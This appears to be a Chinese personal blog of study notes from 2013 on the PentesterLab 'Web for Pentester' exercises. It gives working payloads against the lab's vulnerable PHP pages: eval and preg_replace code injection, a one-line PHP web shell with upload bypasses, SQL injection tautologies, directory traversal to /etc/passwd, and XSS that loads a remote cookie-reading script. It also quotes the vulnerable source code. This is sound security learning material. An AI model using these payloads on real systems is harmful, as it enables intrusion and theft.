syntax highlighter

2013年10月15日星期二

Web For Pentester 学习笔记 6 - Code injection

Code injection

// 风险代码
// 用户来决定eval执行的代码内容
eval($_GET['name']);
// http://vulnerable/codeexec/example1.php?name=";system('ls');"
// http://vulnerable/codeexec/example1.php?name=".system('uname -a'); $dummy="


$order = $_GET['order'];
// http://vulnerable/codeexec/example2.php?order=id);}system('pwd');//     这个好像不行

echo preg_replace($_GET['pattern'], $_GET['new'], $_GET['base']);
// http://vulnerable/codeexec/example3.php?new=system('uname -a')&pattern=/lamer/e&base=Hello lamer

Web For Pentester 学习笔记 5 - File Upload

http://vulnerable/upload/images/evil.php?cmd=ls -lah

// 上传一个evil.php文件,内容如下:
<?php
  system($_GET["cmd"]);
?>

// 风险代码
// 任何类型的文件都能上传
move_uploaded_file($_FILES['image']['tmp_name'], 
                   '/var/www/upload/images/', 
     basename($_FILES['image']['name']));

// 就算只过滤了php类型,也能通过.htaccess和后缀命名绕过
// 方法1: 命名为.php3 , .php4, .php5再上传,如evil.php4
// 方法2: 命名为.blah再上传,以便根据apache规则,自动换成php来解析(因为不认识.blah),如evil.blah
// 方法3: 上传.htaccess文件
// 注: 可是怎么执行呢?
if(preg_match('/\.php$/', $file)) die;

2013年10月14日星期一

Web For Pentester 学习笔记 4 - SQL injections

本来显示的只有admin的信息,这样就会把全表其他人员的信息都弄出来了
# 用空格即%20尝试
http://vulnerable/sqli/example1.php?name=admin' or '1'='1  

# 用tab即%09尝试
http://vulnerable/sqli/example2.php?name=admin'%09or%09'1'='1     

# 就算把空格和tab都过滤了,也可以用注释尝试
http://vulnerable/sqli/example3.php?name=admin'/**/or/**/'1'='1

# 当然最简单的方法是
http://vulnerable/sqli/example4.php?id=2 or 1=1;--

# 只要以数字结尾就可以了
http://vulnerable/sqli/example6.php?id=2 or 1=1#123

# 不行就试试这样
http://vulnerable/sqli/example7.php?id=2%0A or 1=1#123

# 这种也行
http://vulnerable/sqli/example8.php?order=name` %23

# 这种也行
http://vulnerable/sqli/example9.php?order=IF(0,name,age)


// 带风险的对应代码
$sql = "SELECT * FROM users WHERE name='" . $_GET["name"] . "'";
$sql = "SELECT * FROM users WHERE id=" . mysql_real_escape_string($_GET["id"]);
$sql = "SELECT * FROM users ORDER BY `" . mysql_real_escape_string($_GET["order"]) . "`";

Web For Pentester 学习笔记 3 - File include

// 让用户来决定你包含的文件,那就存在文件包含漏洞
if($_GET['page']) include($_GET['page']);

// 比如:http://vulnerable/fileincl/example1.php?page=https://pentesterlab.com/test_include.txt
// test_include.txt 的内容是: 
<?php 
phpinfo();
?>
发现是否存在文件包含漏洞的技巧, http://vulnerable/fileincl/example1.php?page=notexist.php, 报错:
Warning: include(notexist.php): failed to open stream: No such file or directory in /var/www/fileincl/example1.php on line 7 Warning: include(): Failed opening 'notexist.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example1.php on line 7
此外,还可以进一步尝试在test_include.txt的末尾添加% 00(没有空格)来尝试

2013年10月13日星期日

Web For Pentester 学习笔记 2 - Directory traversal

例1:

// 由用户指定程序来读取服务器上的哪个文件
<img width="20" src="dirtrav/example1.php?file=hacker.png">

$path = '/var/www/files/' . $_GET['file'];
对于这种类型,就这样:
http://vulnerable/dirtrav/example1.php?file=hacker.png 返回图片
http://vulnerable/dirtrav/example1.php?file=../../../../../../../../../../../etc/passwd 显示出来了!

例2:

// 这也太暴露了
<img width="20" src="dirtrav/example2.php?file=/var/www/files/hacker.png">
对于这种类型,就这样:
http://vulnerable/dirtrav/example2.php?file=/var/www/files/../../../../../etc/passwd

例3:

似乎对于写死文件后缀的情况,可以这样:
http://vulnerable/dirtrav/example3.php?file=../../../../../../../../../../../etc/passwd % 00  # 没有空格
* 以上通过火狐add-on: chrome://restclient/content/restclient.html 测试

Web For Pentester 学习笔记 1 - XSS

下载: https://pentesterlab.com/exercises/web_for_pentester/

我在VirtualBox虚拟机上运行web for pentester, ifconfig出的ip是192.168.102.171,设置host为:
192.168.102.171 vulnerable,浏览器访问:vulnerable
// 原始地址
http://vulnerable/xss/example1.php?name=hacker

// 弹出信息框
http://vulnerable/xss/example1.php?name=<script>alert(1);</script> 

// 如果只过滤了小写,就试试大小写混合
http://vulnerable/xss/example2.php?name=<sCript>alert(1);</sCript> 

// 鼠标移动到p,弹出
http://vulnerable/xss/example4.php?name=?name=Harry<p onmouseover=alert('黄峰喜欢吴佳旻')>把这段隐藏起来</p>

// 就算把script标签屏蔽了也能XSS
http://vulnerable/xss/example4.php?name=<div onmouseover='alert(1)' /> 

// 执行远程脚本
http://vulnerable/xss/example5.php?name=<script src="http://ha.ckers.org/xss.js"></script> 
  xss.js内容:
  document.write ("This is remote text via xss.js located at ha.ckers.org " + document.cookie);
  alert ("This is remote text via xss.js located at ha.ckers.org " + document.cookie);

// 利用ascii码输出字符,变量被直接通过GET进行了赋值
http://vulnerable/xss/example7.php?name=Harry';alert(String.fromCharCode(65, 97))//#sthash.TxtigEng.dpuf

// 危险的表单提交路径
http://vulnerable/xss/example8.php/"><script>alert(String.fromCharCode(65, 97))</script>#sthash.XuOVOUFq.dpuf

// #号也可以
http://vulnerable/xss/example9.php#Harry<script>alert('Potter')</script>
对应的带风险的源代码:
// 完全没处理
echo $_GET["name"];

// 只过滤了小写
$name = $_GET["name"];
$name = preg_replace("/<script>/", "", $name);
$name = preg_replace("/<\/script>/", "", $name);
echo $name;

$name = $_GET["name"];
$name = preg_replace("/<script>/i", "", $name);
$name = preg_replace("/<\/script>/i", "", $name);
echo $name;

// 只过滤了script
if(preg_match('/script/i', $_GET["name"])){
  die('error');
}

// 把变量赋值放到页面输出的JS里了
<script>
  var $a = "<?php echo $_GET["name"];?>";
</script>

// 就算用了实体,依然可以利用String.fromCharCode来XSS
<script>
  var $a = "<?php echo htmlentities($_GET["name"]);?>";
</script>

// 表单提交如果用PHP_SELF为路径而没做处理,那么存在XSS
略

// 这种会让#号也可以XSS
document.write(location.hash.substring(1));

2013年10月11日星期五

虚拟机访问Web for pentester的网络设置

乌云QQ群的一个人的帮助下,解决了

本机win8 ipconfig:

C:\Users\phx>ipconfig

Windows IP Configuration


Wireless LAN adapter Local Area Connection* 16:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Wireless LAN adapter Wi-Fi:

   Connection-specific DNS Suffix  . : lan
   Link-local IPv6 Address . . . . . : fe80::f5aa:2f79:8e05:7c3%15
   IPv4 Address. . . . . . . . . . . : 192.168.199.235
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.199.1

Ethernet adapter Ethernet:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter VirtualBox Host-Only Network:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::18e5:506d:b0be:d7c2%23
   IPv4 Address. . . . . . . . . . . : 192.168.56.1
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :

Tunnel adapter isatap.{F7FD0539-F470-41FA-89CB-5AF453616BAE}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Tunnel adapter Teredo Tunneling Pseudo-Interface:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Tunnel adapter isatap.lan:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : lan

Tunnel adapter 6TO4 Adapter:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :


Virtual Box 全局设置:

Virtual Box 网络设置:(之前失败是因为没有在这里设置正确)
此时,启动虚拟机,ifconfig:

访问: 192.168.56.101:


2013年10月7日星期一

Burp Suite安装和使用入门

下载: Burp Suite (free version)

 http://portswigger.net/burp/help/suite_gettingstarted.html

java -version
java -jar -Xmx1024m c:\mine\burpsuite_free_v1.5.jar